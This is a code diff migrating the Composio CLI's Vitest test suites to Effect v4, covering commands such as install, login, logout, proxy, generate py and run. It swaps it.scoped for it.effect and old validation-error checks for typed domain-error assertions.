1425 - it.scoped('[Then] aborts instead of persisting multiple PATH entries', () =>
1426 + it.effect('[Then] aborts instead of persisting multiple PATH entries', () =>
1427 Effect.gen(function* () {
1428 vi.stubEnv('SHELL', '/bin/zsh');
1429 vi.stubEnv('COMPOSIO_BIN_DIR', '/custom/bin:/tmp/extra');
@@ -1441,7 +1442,7 @@ describe('CLI: composio install', () => {
1442
1443 describe('[When] the resolved bin dir contains an apostrophe', () => {
1444 layer(InstallTestLive({ execPath: "/opt/o'brien/bin/composio" }))(it => {
1444 - it.scoped("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>
1445 + it.effect("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>
1446 Effect.gen(function* () {
1447 const os = yield* NodeOs;
1448 const fs = yield* FileSystem.FileSystem;
@@ -1458,7 +1459,7 @@ describe('CLI: composio install', () => {
1459
1460 describe('[When] the runtime executable resolves to an unsafe directory', () => {
1461 layer(InstallTestLive({ execPath: '/tmp/we`ird/composio' }))(it => {
1461 - it.scoped('[Then] reports an origin-neutral error', () =>
1462 + it.effect('[Then] reports an origin-neutral error', () =>
1463 Effect.gen(function* () {
1464 vi.stubEnv('SHELL', '/bin/zsh');
1465
ts/packages/cli/test/src/commands/listen.cmd.test.ts
+14 -15
@@ -1,4 +1,3 @@
1 -import { ValidationError } from '@effect/cli';
1 import { describe, expect, layer } from '@effect/vitest';
2 import { Cause, ConfigProvider, Effect, Exit } from 'effect';
3 import { ListenCommandError } from 'src/commands/listen.cmd';
@@ -6,9 +5,9 @@ import { extendConfigProvider } from 'src/services/config';
5 import { ComposioCliUserConfig } from 'src/services/cli-user-config';
6 import { cli, MockConsole, TestLive } from 'test/__utils__';
7
9 -const testConfigProvider = ConfigProvider.fromMap(
10 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
11 -).pipe(extendConfigProvider);
8 +const testConfigProvider = ConfigProvider.fromEnv({
9 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
10 +}).pipe(extendConfigProvider);
11
12 const enableListen = Effect.gen(function* () {
13 const config = yield* ComposioCliUserConfig;
@@ -43,7 +42,7 @@ describe('CLI: composio listen', () => {
42 },
43 })
44 )(it => {
46 - it.scoped(
45 + it.effect(
46 '[Then] listens to top-level composio.* events without creating a temporary trigger',
47 () =>
48 Effect.gen(function* () {
@@ -110,7 +109,7 @@ describe('CLI: composio listen', () => {
109 },
110 })
111 )(it => {
113 - it.scoped('[Then] keeps the temporary-trigger flow for trigger slugs', () =>
112 + it.effect('[Then] keeps the temporary-trigger flow for trigger slugs', () =>
113 Effect.gen(function* () {
114 yield* enableListen;
115 yield* cli(['listen', 'GMAIL_NEW_GMAIL_MESSAGE', '--max-events', '1']);
@@ -131,7 +130,11 @@ describe('CLI: composio listen', () => {
130 fixture: 'global-test-user-id',
131 })
132 )('listen validation and domain failures', it => {
134 - it.scoped('reports malformed trigger params as CLI input validation', () =>
133 + // v4 migration note: `CliError.InvalidValue` is a fixed flag/argument-name-and-value
134 + // struct produced only by the parser. These are business-level validations (only
135 + // knowable after parsing), so `listen.cmd.ts` models them as a plain typed domain error
136 + // (`ListenOptionError`) instead — see the migration note above `invalidOptionValue`.
137 + it.effect('reports malformed trigger params as CLI input validation', () =>
138 Effect.gen(function* () {
139 yield* enableListen;
140 const exit = yield* Effect.exit(
@@ -141,14 +144,12 @@ describe('CLI: composio listen', () => {
144 expect(Exit.isFailure(exit)).toBe(true);
145 if (Exit.isFailure(exit)) {
146 const failure = Cause.squash(exit.cause);
144 - expect(
145 - ValidationError.isValidationError(failure) && ValidationError.isInvalidValue(failure)
146 - ).toBe(true);
147 + expect(failure).toMatchObject({ _tag: 'commands/ListenOptionError' });
148 }
149 })
150 );
151
151 - it.scoped('reports malformed timeout values as CLI input validation', () =>
152 + it.effect('reports malformed timeout values as CLI input validation', () =>
153 Effect.gen(function* () {
154 yield* enableListen;
155 const exit = yield* Effect.exit(
@@ -158,14 +159,12 @@ describe('CLI: composio listen', () => {
159 expect(Exit.isFailure(exit)).toBe(true);
160 if (Exit.isFailure(exit)) {
161 const failure = Cause.squash(exit.cause);
161 - expect(
162 - ValidationError.isValidationError(failure) && ValidationError.isInvalidValue(failure)
163 - ).toBe(true);
162 + expect(failure).toMatchObject({ _tag: 'commands/ListenOptionError' });
163 }
164 })
165 );
166
168 - it.scoped('reports a missing active connection as a structured domain failure', () =>
167 + it.effect('reports a missing active connection as a structured domain failure', () =>
168 Effect.gen(function* () {
169 yield* enableListen;
170 const exit = yield* Effect.exit(cli(['listen', 'GMAIL_NEW_GMAIL_MESSAGE']));
ts/packages/cli/test/src/commands/local-tools.cmd.test.ts
+11 -9
@@ -1,7 +1,6 @@
1 import fs from 'node:fs/promises';
2 import os from 'node:os';
3 import path from 'node:path';
4 -import { ValidationError } from '@effect/cli';
4 import { describe, expect, layer } from '@effect/vitest';
5 import { Cause, Effect, Exit } from 'effect';
6 import { LocalToolsDoctorError } from 'src/commands/local-tools/commands/local-tools.doctor.cmd';
@@ -30,7 +29,7 @@ const withLocalToolsPath = <A, E, R>(effect: Effect.Effect<A, E, R>) =>
29
30 describe('CLI: composio local-tools', () => {
31 layer(TestLive())(it => {
33 - it.scoped('[Given] --json [Then] lists bundled local toolkits', () =>
32 + it.effect('[Given] --json [Then] lists bundled local toolkits', () =>
33 Effect.gen(function* () {
34 yield* cli(['local-tools', 'list', '--json', '--all-platforms']);
35
@@ -49,7 +48,7 @@ describe('CLI: composio local-tools', () => {
48 })
49 );
50
52 - it.scoped('[Given] doctor --json [Then] reports local toolkit readiness', () =>
51 + it.effect('[Given] doctor --json [Then] reports local toolkit readiness', () =>
52 Effect.gen(function* () {
53 yield* cli(['local-tools', 'doctor', '--json', '--all-platforms']);
54
@@ -66,7 +65,10 @@ describe('CLI: composio local-tools', () => {
65 })
66 );
67
69 - it.scoped('[Given] an unknown configure selector [Then] reports CLI input validation', () =>
68 + // v4 migration note: this business-level validation (only knowable after parsing) is a
69 + // plain typed domain error (`LocalToolsConfigureInputError`), not a `CliError.InvalidValue`
70 + // — see the migration note above it in `local-tools.configure.cmd.ts`.
71 + it.effect('[Given] an unknown configure selector [Then] reports CLI input validation', () =>
72 Effect.gen(function* () {
73 const exit = yield* Effect.exit(
74 cli(['local-tools', 'configure', 'NOT_A_LOCAL_TOOL', '--disable'])
@@ -75,14 +77,14 @@ describe('CLI: composio local-tools', () => {
77 expect(Exit.isFailure(exit)).toBe(true);
78 if (Exit.isFailure(exit)) {
79 const failure = Cause.squash(exit.cause);
78 - expect(
79 - ValidationError.isValidationError(failure) && ValidationError.isInvalidValue(failure)
80 - ).toBe(true);
80 + expect(failure).toMatchObject({
81 + _tag: 'commands/local-tools/LocalToolsConfigureInputError',
82 + });
83 }
84 })
85 );
86
85 - it.scoped(
87 + it.effect(
88 '[Given] strict doctor finds a disabled tool [Then] reports structured readiness',
89 () =>
90 withLocalToolsPath(
@@ -112,7 +114,7 @@ describe('CLI: composio local-tools', () => {
114 )
115 );
116
115 - it.scoped('[Given] meta --init --json [Then] writes local metadata file', () =>
117 + it.effect('[Given] meta --init --json [Then] writes local metadata file', () =>
118 withLocalToolsPath(
119 Effect.gen(function* () {
120 yield* cli(['local-tools', 'meta', '--init', '--json']);
ts/packages/cli/test/src/commands/login.cmd.test.ts
+20 -21
@@ -1,9 +1,8 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 import { vi, afterEach } from 'vitest';
3 import { Console, DateTime, Effect, Exit, Option } from 'effect';
4 -import { HelpDoc, ValidationError } from '@effect/cli';
4 import path from 'node:path';
6 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import * as FileSystem from 'effect/FileSystem';
6 import { cli, MockConsole, TestLive } from 'test/__utils__';
7 import { terminalUITestImpl } from 'test/__utils__/services/terminal-ui-test';
8 import * as constants from 'src/constants';
@@ -95,7 +94,7 @@ describe('CLI: composio login', () => {
94
95 describe('login --help', () => {
96 layer(TestLive())(it => {
98 - it.scoped('[Then] shows browser, session, direct-login flags and no legacy --api-key', () =>
97 + it.effect('[Then] shows browser, session, direct-login flags and no legacy --api-key', () =>
98 Effect.gen(function* () {
99 yield* cli(['login', '--help']);
100 const lines = yield* MockConsole.getLines();
@@ -114,8 +113,11 @@ describe('CLI: composio login', () => {
113 });
114 });
115
116 + // v4 migration note: this business-level validation (only knowable after parsing) is a
117 + // plain typed domain error (`LoginOptionError`), not a `CliError.InvalidValue` — see the
118 + // migration note in `login.cmd.ts` above `invalidOptionValue`.
119 layer(TestLive())(it => {
118 - it.scoped('[Given] conflicting login options [Then] fails with a CLI validation error', () =>
120 + it.effect('[Given] conflicting login options [Then] fails with a CLI validation error', () =>
121 Effect.gen(function* () {
122 const error = yield* cli([
123 'login',
@@ -125,18 +127,15 @@ describe('CLI: composio login', () => {
127 'uak_direct_key',
128 ]).pipe(Effect.flip);
129
128 - expect(ValidationError.isValidationError(error)).toBe(true);
129 - if (!ValidationError.isValidationError(error)) return;
130 - expect(ValidationError.isInvalidValue(error)).toBe(true);
131 - expect(HelpDoc.toAnsiText(error.error)).toContain(
132 - 'Use either `--key` or `--user-api-key`, not both.'
133 - );
130 + expect(error).toMatchObject({
131 + message: 'Use either `--key` or `--user-api-key`, not both.',
132 + });
133 })
134 );
135 });
136
137 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
139 - it.scoped('[When] stdin is non-interactive [Then] login prints agent instructions', () =>
138 + it.effect('[When] stdin is non-interactive [Then] login prints agent instructions', () =>
139 Effect.gen(function* () {
140 yield* cli(['login']);
141
@@ -177,7 +176,7 @@ describe('CLI: composio login', () => {
176 });
177
178 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
180 - it.scoped(
179 + it.effect(
180 '[Given] a stored READY agent identity [When] login runs headlessly [Then] completes agent login unattended',
181 () =>
182 Effect.gen(function* () {
@@ -208,7 +207,7 @@ describe('CLI: composio login', () => {
207 });
208
209 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
211 - it.scoped(
210 + it.effect(
211 '[Given] a stored READY agent identity the API rejects [When] login runs headlessly [Then] does not reuse the revoked identity',
212 () =>
213 Effect.gen(function* () {
@@ -232,7 +231,7 @@ describe('CLI: composio login', () => {
231 });
232
233 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
235 - it.scoped(
234 + it.effect(
235 '[Given] a stored READY agent identity and an unreachable agents API [When] login runs headlessly [Then] still reuses the on-disk identity',
236 () =>
237 Effect.gen(function* () {
@@ -254,7 +253,7 @@ describe('CLI: composio login', () => {
253 });
254
255 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
257 - it.scoped(
256 + it.effect(
257 '[Given] a stored PENDING agent identity [When] login runs headlessly [Then] prints instructions without logging in',
258 () =>
259 Effect.gen(function* () {
@@ -278,7 +277,7 @@ describe('CLI: composio login', () => {
277 });
278
279 layer(TestLive({ terminalUI: headlessStdinUI }))(it => {
281 - it.scoped(
280 + it.effect(
281 '[Given] no stored agent identity [When] login runs headlessly [Then] never auto-signs-up an agent',
282 () =>
283 Effect.gen(function* () {
@@ -311,7 +310,7 @@ describe('CLI: composio login', () => {
310 });
311
312 layer(TestLive({ terminalUI: pipedStdoutUI }))(it => {
314 - it.scoped(
313 + it.effect(
314 '[Given] a stored agent [When] stdout is piped but stdin and stderr are TTYs [Then] login stays interactive',
315 () =>
316 Effect.gen(function* () {
@@ -338,7 +337,7 @@ describe('CLI: composio login', () => {
337 });
338
339 layer(TestLive())(it => {
341 - it.scoped(
340 + it.effect(
341 '[Given] an unreadable pending login cache [Then] poll reports the read failure, not a decode failure',
342 () =>
343 Effect.gen(function* () {
@@ -366,7 +365,7 @@ describe('CLI: composio login', () => {
365 });
366
367 layer(TestLive({ terminalUI: stopBeforeSessionPollUI }))(it => {
369 - it.scoped('repairs permissions on an existing pending login session before reading it', () =>
368 + it.effect('repairs permissions on an existing pending login session before reading it', () =>
369 Effect.gen(function* () {
370 const fs = yield* FileSystem.FileSystem;
371 const cacheDir = yield* setupCacheDir;
@@ -396,7 +395,7 @@ describe('CLI: composio login', () => {
395 });
396
397 layer(TestLive())(it => {
399 - it.scoped('[When] logging in with --user-api-key --org [Then] stores the chosen org', () =>
398 + it.effect('[When] logging in with --user-api-key --org [Then] stores the chosen org', () =>
399 Effect.gen(function* () {
400 vi.spyOn(globalThis, 'fetch').mockImplementation(
401 async (requestInput: RequestInfo | URL, init?: RequestInit) => {
@@ -487,7 +486,7 @@ describe('CLI: composio login', () => {
486 });
487
488 layer(TestLive())(it => {
490 - it.scoped(
489 + it.effect(
490 '[Given] selected-org enrichment fails [When] completing --poll [Then] links the selected org membership',
491 () =>
492 Effect.gen(function* () {
ts/packages/cli/test/src/commands/logout.cmd.test.ts
+8 -8
@@ -1,5 +1,5 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 -import * as FileSystem from '@effect/platform/FileSystem';
2 +import * as FileSystem from 'effect/FileSystem';
3 import { ConfigProvider, Console, Effect, Option } from 'effect';
4 import path from 'node:path';
5 import * as constants from 'src/constants';
@@ -73,7 +73,7 @@ const setupLoggedInAgent = Effect.gen(function* () {
73 describe('CLI: composio logout', () => {
74 describe('[When] logged out', () => {
75 layer(TestLive())(it => {
76 - it.scoped('[Then] it is idempotent', () =>
76 + it.effect('[Then] it is idempotent', () =>
77 Effect.gen(function* () {
78 const ctx = yield* ComposioUserContext;
79
@@ -105,12 +105,12 @@ describe('CLI: composio logout', () => {
105 });
106
107 describe('[When] logged in', () => {
108 - const testConfigProvider = ConfigProvider.fromMap(
109 - new Map([['COMPOSIO_USER_API_KEY', 'api_key_already_logged_in']])
110 - ).pipe(extendConfigProvider);
108 + const testConfigProvider = ConfigProvider.fromEnv({
109 + env: { COMPOSIO_USER_API_KEY: 'api_key_already_logged_in' },
110 + }).pipe(extendConfigProvider);
111
112 layer(TestLive({ baseConfigProvider: testConfigProvider }))(it => {
113 - it.scoped('[Then] it persists user data', () =>
113 + it.effect('[Then] it persists user data', () =>
114 Effect.gen(function* () {
115 const ctx = yield* ComposioUserContext;
116 expect(ctx.isLoggedIn()).toBeTruthy();
@@ -139,7 +139,7 @@ describe('CLI: composio logout', () => {
139
140 describe('[When] logged in as an agent', () => {
141 layer(TestLive({ terminalUI: terminalUIWithConfirm(false) }))(it => {
142 - it.scoped('[Then] cancelling keeps user and agent credentials', () =>
142 + it.effect('[Then] cancelling keeps user and agent credentials', () =>
143 Effect.gen(function* () {
144 const ctx = yield* setupLoggedInAgent;
145
@@ -160,7 +160,7 @@ describe('CLI: composio logout', () => {
160 });
161
162 layer(TestLive())(it => {
163 - it.scoped('[Then] --force removes user and agent credentials', () =>
163 + it.effect('[Then] --force removes user and agent credentials', () =>
164 Effect.gen(function* () {
165 const ctx = yield* setupLoggedInAgent;
166
ts/packages/cli/test/src/commands/orgs.switch.cmd.test.ts
+4 -4
@@ -27,12 +27,12 @@ describe('CLI: composio orgs switch', () => {
27 analyticsMocks.linkCalls.length = 0;
28 });
29
30 - const testConfigProvider = ConfigProvider.fromMap(
31 - new Map([['COMPOSIO_USER_API_KEY', 'uak_switch_test']])
32 - ).pipe(extendConfigProvider);
30 + const testConfigProvider = ConfigProvider.fromEnvRecord({
31 + COMPOSIO_USER_API_KEY: 'uak_switch_test',
32 + }).pipe(extendConfigProvider);
33
34 layer(TestLive({ baseConfigProvider: testConfigProvider }))(it => {
35 - it.scoped('[Then] links analytics to the selected org membership', () =>
35 + it.effect('[Then] links analytics to the selected org membership', () =>
36 Effect.gen(function* () {
37 vi.spyOn(globalThis, 'fetch').mockImplementation(
38 async (_requestInput: RequestInfo | URL, init?: RequestInit) => {
ts/packages/cli/test/src/commands/projects/projects.list.cmd.test.ts
+1 -1
@@ -15,7 +15,7 @@ describe('CLI: composio dev projects list', () => {
15 });
16
17 layer(TestLive({ fixture: 'user-config-with-global-context' }))(it => {
18 - it.scoped('[Then] lists developer projects and shows init guidance', () =>
18 + it.effect('[Then] lists developer projects and shows init guidance', () =>
19 Effect.gen(function* () {
20 const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
21 mockFetchResponse({
ts/packages/cli/test/src/commands/projects/projects.switch.cmd.test.ts
+2 -2
@@ -4,10 +4,10 @@ import { cli, MockConsole, TestLive } from 'test/__utils__';
4
5 describe('CLI: composio dev projects switch', () => {
6 layer(TestLive({ cliUserConfig: { developerDangerousCommandsEnabled: true } }))(it => {
7 - it.scoped('[Then] it reports global developer project switching is deprecated', () =>
7 + it.effect('[Then] it reports global developer project switching is deprecated', () =>
8 Effect.gen(function* () {
9 yield* cli(['dev', 'projects', 'switch', '--dangerously-allow']).pipe(
10 - Effect.catchAll(() => Effect.void)
10 + Effect.catch(() => Effect.void)
11 );
12 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
13 expect(output).toMatch(/composio dev init/);
ts/packages/cli/test/src/commands/proxy.cmd.test.ts
+45 -39
@@ -15,9 +15,9 @@ import {
15 import * as consumerShortTermCache from 'src/services/consumer-short-term-cache';
16 import { cli, MockConsole, TestLive } from 'test/__utils__';
17
18 -const testConfigProvider = ConfigProvider.fromMap(
19 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
20 -).pipe(extendConfigProvider);
18 +const testConfigProvider = ConfigProvider.fromEnv({
19 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
20 +}).pipe(extendConfigProvider);
21
22 describe('CLI: composio proxy', () => {
23 afterEach(() => {
@@ -43,7 +43,7 @@ describe('CLI: composio proxy', () => {
43 layer(TestLive({ baseConfigProvider: testConfigProvider, fixture: 'global-test-user-id' }))(
44 '[Given] curl-like proxy flags [Then] it creates a scoped session and forwards proxy_execute',
45 it => {
46 - it.scoped('forwards proxy execute params and prints the response', () =>
46 + it.effect('forwards proxy execute params and prints the response', () =>
47 Effect.gen(function* () {
48 let createParams: SessionCreateParams | undefined;
49 let proxyParams:
@@ -130,20 +130,24 @@ describe('CLI: composio proxy', () => {
130 },
131 });
132
133 - yield* cli([
134 - 'proxy',
135 - 'https://gmail.googleapis.com/gmail/v1/users/me/drafts',
136 - '--toolkit',
137 - 'gmail',
138 - '--account',
139 - 'work',
140 - '-X',
141 - 'post',
142 - '-H',
143 - 'content-type: application/json',
144 - '-d',
145 - '{ "message": { "raw": "abc" } }',
146 - ]).pipe(Effect.provide(live));
133 + const output = yield* Effect.gen(function* () {
134 + yield* cli([
135 + 'proxy',
136 + 'https://gmail.googleapis.com/gmail/v1/users/me/drafts',
137 + '--toolkit',
138 + 'gmail',
139 + '--account',
140 + 'work',
141 + '-X',
142 + 'post',
143 + '-H',
144 + 'content-type: application/json',
145 + '-d',
146 + '{ "message": { "raw": "abc" } }',
147 + ]);
148 + const lines = yield* MockConsole.getLines({ stripAnsi: true });
149 + return lines.join('\n');
150 + }).pipe(Effect.provide(live));
151
152 expect(createParams).toEqual({
153 user_id: 'consumer-user-org_test',
@@ -168,8 +172,6 @@ describe('CLI: composio proxy', () => {
172 },
173 });
174
171 - const lines = yield* MockConsole.getLines({ stripAnsi: true });
172 - const output = lines.join('\n');
175 expect(output).toContain('Status: 200');
176 expect(output).toContain('"ok": true');
177 })
@@ -180,7 +182,7 @@ describe('CLI: composio proxy', () => {
182 layer(TestLive({ baseConfigProvider: testConfigProvider, fixture: 'global-test-user-id' }))(
183 '[Given] cached missing toolkit [Then] proxy fails fast before session creation',
184 it => {
183 - it.scoped('uses the connected toolkit cache keyed by toolkit', () =>
185 + it.effect('uses the connected toolkit cache keyed by toolkit', () =>
186 Effect.gen(function* () {
187 const refreshSpy = vi
188 .spyOn(consumerShortTermCache, 'refreshConsumerConnectedToolkitsCache')
@@ -212,12 +214,16 @@ describe('CLI: composio proxy', () => {
214 },
215 });
216
215 - const failure = yield* cli([
216 - 'proxy',
217 - 'https://gmail.googleapis.com/gmail/v1/users/me/profile',
218 - '--toolkit',
219 - 'gmail',
220 - ]).pipe(Effect.provide(live), Effect.flip);
217 + const { failure, output } = yield* Effect.gen(function* () {
218 + const failure = yield* cli([
219 + 'proxy',
220 + 'https://gmail.googleapis.com/gmail/v1/users/me/profile',
221 + '--toolkit',
222 + 'gmail',
223 + ]).pipe(Effect.flip);
224 + const lines = yield* MockConsole.getLines({ stripAnsi: true });
225 + return { failure, output: lines.join('\n') };
226 + }).pipe(Effect.provide(live));
227
228 expect(createCalled).toBe(false);
229 expect(failure).toBeInstanceOf(ProxyCommandError);
@@ -226,8 +232,6 @@ describe('CLI: composio proxy', () => {
232 expect(failure.toolkit).toBe('gmail');
233 }
234
229 - const lines = yield* MockConsole.getLines({ stripAnsi: true });
230 - const output = lines.join('\n');
235 expect(output).toContain('Toolkit "gmail" is not connected for this user');
236 expect(output).toContain('composio link gmail');
237 expect(refreshSpy).toHaveBeenCalled();
@@ -240,7 +244,7 @@ describe('CLI: composio proxy', () => {
244 layer(TestLive({ baseConfigProvider: testConfigProvider, fixture: 'global-test-user-id' }))(
245 '[Given] backend 4302 no-connection error [Then] proxy rewrites it to link guidance',
246 it => {
243 - it.scoped('translates proxy_execute connection errors like execute does', () =>
247 + it.effect('translates proxy_execute connection errors like execute does', () =>
248 Effect.gen(function* () {
249 const live = TestLive({
250 baseConfigProvider: testConfigProvider,
@@ -259,18 +263,20 @@ describe('CLI: composio proxy', () => {
263 },
264 });
265
262 - const exit = yield* cli([
263 - 'proxy',
264 - 'https://gmail.googleapis.com/gmail/v1/users/me/profile',
265 - '--toolkit',
266 - 'gmail',
267 - '--skip-connection-check',
268 - ]).pipe(Effect.provide(live), Effect.exit);
266 + const { exit, output } = yield* Effect.gen(function* () {
267 + const exit = yield* cli([
268 + 'proxy',
269 + 'https://gmail.googleapis.com/gmail/v1/users/me/profile',
270 + '--toolkit',
271 + 'gmail',
272 + '--skip-connection-check',
273 + ]).pipe(Effect.exit);
274 + const lines = yield* MockConsole.getLines({ stripAnsi: true });
275 + return { exit, output: lines.join('\n') };
276 + }).pipe(Effect.provide(live));
277
278 expect(Exit.isFailure(exit)).toBe(true);
279
272 - const lines = yield* MockConsole.getLines({ stripAnsi: true });
273 - const output = lines.join('\n');
280 expect(output).toContain('No active connection found for toolkit "gmail"');
281 expect(output).toContain('composio link gmail');
282 })
ts/packages/cli/test/src/commands/py/py.generate.cmd.test.ts
+20 -18
@@ -1,9 +1,8 @@
1 import assert from 'node:assert';
2 import path from 'node:path';
3 -import { HelpDoc, ValidationError } from '@effect/cli';
3 import { describe, expect, layer } from '@effect/vitest';
5 -import { Effect } from 'effect';
6 -import * as FileSystem from '@effect/platform/FileSystem';
4 +import { Effect, Predicate } from 'effect';
5 +import * as FileSystem from 'effect/FileSystem';
6 import { cli, TestLive } from 'test/__utils__';
7 import { makeTestToolkits } from 'test/__utils__/models/toolkits';
8 import { NodeProcess } from 'src/services/node-process';
@@ -36,7 +35,7 @@ describe('CLI: composio generate py', () => {
35 })
36 )(it => {
37 describe('[Given] valid fetched app data', () => {
39 - it.scoped.skip(
38 + it.effect.skip(
39 '[Given] no arguments [Then] it generates type stubs relative the `composio` module if detectable by uv',
40 () =>
41 Effect.gen(function* () {
@@ -105,7 +104,7 @@ describe('CLI: composio generate py', () => {
104 })
105 );
106
108 - it.scoped(
107 + it.effect(
108 '[Given] --output-dir [Then] it generates type stubs relative to the given output directory',
109 Effect.fn(function* () {
110 const process = yield* NodeProcess;
@@ -298,7 +297,7 @@ describe('CLI: composio generate py', () => {
297 })
298 );
299
301 - it.scoped(
300 + it.effect(
301 '[Given] --toolkits gmail [Then] it generates type stubs only for the gmail toolkit',
302 Effect.fn(function* () {
303 const process = yield* NodeProcess;
@@ -322,7 +321,7 @@ describe('CLI: composio generate py', () => {
321 })
322 );
323
325 - it.scoped(
324 + it.effect(
325 '[Given] --toolkits gmail --toolkits slack [Then] it generates type stubs for both toolkits',
326 Effect.fn(function* () {
327 const process = yield* NodeProcess;
@@ -357,7 +356,7 @@ describe('CLI: composio generate py', () => {
356 })
357 );
358
360 - it.scoped(
359 + it.effect(
360 '[Given] --toolkits with invalid toolkit [Then] it fails with an error',
361 Effect.fn(function* () {
362 const process = yield* NodeProcess;
@@ -365,15 +364,18 @@ describe('CLI: composio generate py', () => {
364 const outputDir = path.join(cwd, '.generated', 'composio-py-invalid');
365
366 const args = ['generate', 'py', '--toolkits', 'nonexistent', '--output-dir', outputDir];
368 - const result = yield* cli(args).pipe(Effect.catchAll(e => Effect.succeed(e)));
367 + const result = yield* cli(args).pipe(Effect.catch(e => Effect.succeed(e)));
368
370 - assert.ok(ValidationError.isValidationError(result));
371 - assert.ok(ValidationError.isInvalidValue(result));
372 - expect(HelpDoc.toAnsiText(result.error)).toContain('Invalid toolkit(s): nonexistent');
369 + assert.ok(Predicate.isTagged(result, 'commands/GenerateInputError'));
370 + if (Predicate.isTagged(result, 'commands/GenerateInputError')) {
371 + expect((result as unknown as { message: string }).message).toContain(
372 + 'Invalid toolkit(s): nonexistent'
373 + );
374 + }
375 })
376 );
377
376 - it.scoped(
378 + it.effect(
379 '[Given] --toolkits GMAIL (uppercase) [Then] it handles case-insensitive matching',
380 Effect.fn(function* () {
381 const process = yield* NodeProcess;
@@ -395,7 +397,7 @@ describe('CLI: composio generate py', () => {
397 });
398
399 describe('[Given] COMPOSIO_TOOLKIT_VERSION_* env vars', () => {
398 - it.scoped(
400 + it.effect(
401 '[Given] COMPOSIO_TOOLKIT_VERSION_GMAIL env var [Then] it adds version comment to generated file',
402 () =>
403 Effect.gen(function* () {
@@ -422,7 +424,7 @@ describe('CLI: composio generate py', () => {
424 })
425 );
426
425 - it.scoped(
427 + it.effect(
428 '[Given] multiple COMPOSIO_TOOLKIT_VERSION_* env vars [Then] it adds version comments to both generated files',
429 () =>
430 Effect.gen(function* () {
@@ -448,7 +450,7 @@ describe('CLI: composio generate py', () => {
450 })
451 );
452
451 - it.scoped(
453 + it.effect(
454 '[Given] COMPOSIO_TOOLKIT_VERSION_GMAIL=latest [Then] it treats same as no override (no version comment)',
455 () =>
456 Effect.gen(function* () {
@@ -470,7 +472,7 @@ describe('CLI: composio generate py', () => {
472 })
473 );
474
473 - it.scoped(
475 + it.effect(
476 '[Given] --toolkits gmail and COMPOSIO_TOOLKIT_VERSION_SLACK env var [Then] it ignores env var for non-requested toolkit',
477 () =>
478 Effect.gen(function* () {
@@ -499,7 +501,7 @@ describe('CLI: composio generate py', () => {
501 })
502 );
503
502 - it.scoped(
504 + it.effect(
505 '[Given] --toolkits gmail and COMPOSIO_TOOLKIT_VERSION_GMAIL env var [Then] it applies version override to filtered toolkit',
506 () =>
507 Effect.gen(function* () {
ts/packages/cli/test/src/commands/run.cmd.test.ts
+136 -83
@@ -3,22 +3,10 @@ import * as os from 'node:os';
3 import * as path from 'node:path';
4 import { pathToFileURL } from 'node:url';
5 import { describe, expect, layer } from '@effect/vitest';
6 -import * as PlatformCommand from '@effect/platform/Command';
7 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
8 -import * as Path from '@effect/platform/Path';
9 -import * as BunContext from '@effect/platform-bun/BunContext';
10 -import {
11 - Cause,
12 - ConfigProvider,
13 - Effect,
14 - Exit,
15 - HashMap,
16 - Inspectable,
17 - Layer,
18 - Option,
19 - Sink,
20 - Stream,
21 -} from 'effect';
6 +import * as BunServices from '@effect/platform-bun/BunServices';
7 +import * as Path from 'effect/Path';
8 +import { Cause, ConfigProvider, Effect, Exit, Layer, Option, Sink, Stream } from 'effect';
9 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
10 import { afterEach, it, vi } from 'vitest';
11 import { createCliCommandTelemetryContext } from 'src/analytics/events';
12 import {
@@ -51,17 +39,15 @@ import { DEFAULT_CLI_INVOCATION_ORIGIN } from 'src/services/runtime-cli-context'
39 import { cli, MockConsole, TestLive } from 'test/__utils__';
40 import { CommandRunner } from 'src/services/command-runner';
41
54 -const acpOnlyConfigProvider = ConfigProvider.fromMap(
55 - new Map([['COMPOSIO_RUN_ACP_ONLY', '1']])
56 -).pipe(extendConfigProvider);
42 +const acpOnlyConfigProvider = ConfigProvider.fromEnvRecord({
43 + COMPOSIO_RUN_ACP_ONLY: '1',
44 +}).pipe(extendConfigProvider);
45
58 -const enabledRuntimeFlagsConfigProvider = ConfigProvider.fromMap(
59 - new Map([
60 - ['COMPOSIO_RUN_ACP_ONLY', '1'],
61 - ['COMPOSIO_PERF_DEBUG', '1'],
62 - ['COMPOSIO_TOOL_DEBUG', '1'],
63 - ])
64 -).pipe(extendConfigProvider);
46 +const enabledRuntimeFlagsConfigProvider = ConfigProvider.fromEnvRecord({
47 + COMPOSIO_RUN_ACP_ONLY: '1',
48 + COMPOSIO_PERF_DEBUG: '1',
49 + COMPOSIO_TOOL_DEBUG: '1',
50 +}).pipe(extendConfigProvider);
51
52 const readRunPreloadSource = (command: ReadonlyArray<string>): string => {
53 const preloadPath = command[2];
@@ -71,33 +57,34 @@ const readRunPreloadSource = (command: ReadonlyArray<string>): string => {
57 return fs.readFileSync(preloadPath, 'utf8');
58 };
59
74 -const commandRuns = vi.fn((_: PlatformCommand.Command) =>
75 - Effect.succeed(CommandExecutor.ExitCode(0))
60 +const commandRuns = vi.fn((_: ChildProcess.Command) =>
61 + Effect.succeed(ChildProcessSpawner.ExitCode(0))
62 );
63
78 -// `composio run` starts the child through the platform `CommandExecutor` so it owns the pid it
79 -// forwards signals to, so the stub has to replace the executor rather than `CommandRunner`.
80 -// `exitCode` stays suspended: the command only awaits it after the signal handlers are
81 -// registered, which is what makes the forwarding observable below.
64 +// `composio run` starts the child through the platform `ChildProcessSpawner` so it owns the
65 +// pid it forwards signals to, so the stub has to replace the spawner rather than
66 +// `CommandRunner`. `exitCode` stays suspended: the command only awaits it after the signal
67 +// handlers are registered, which is what makes the forwarding observable below.
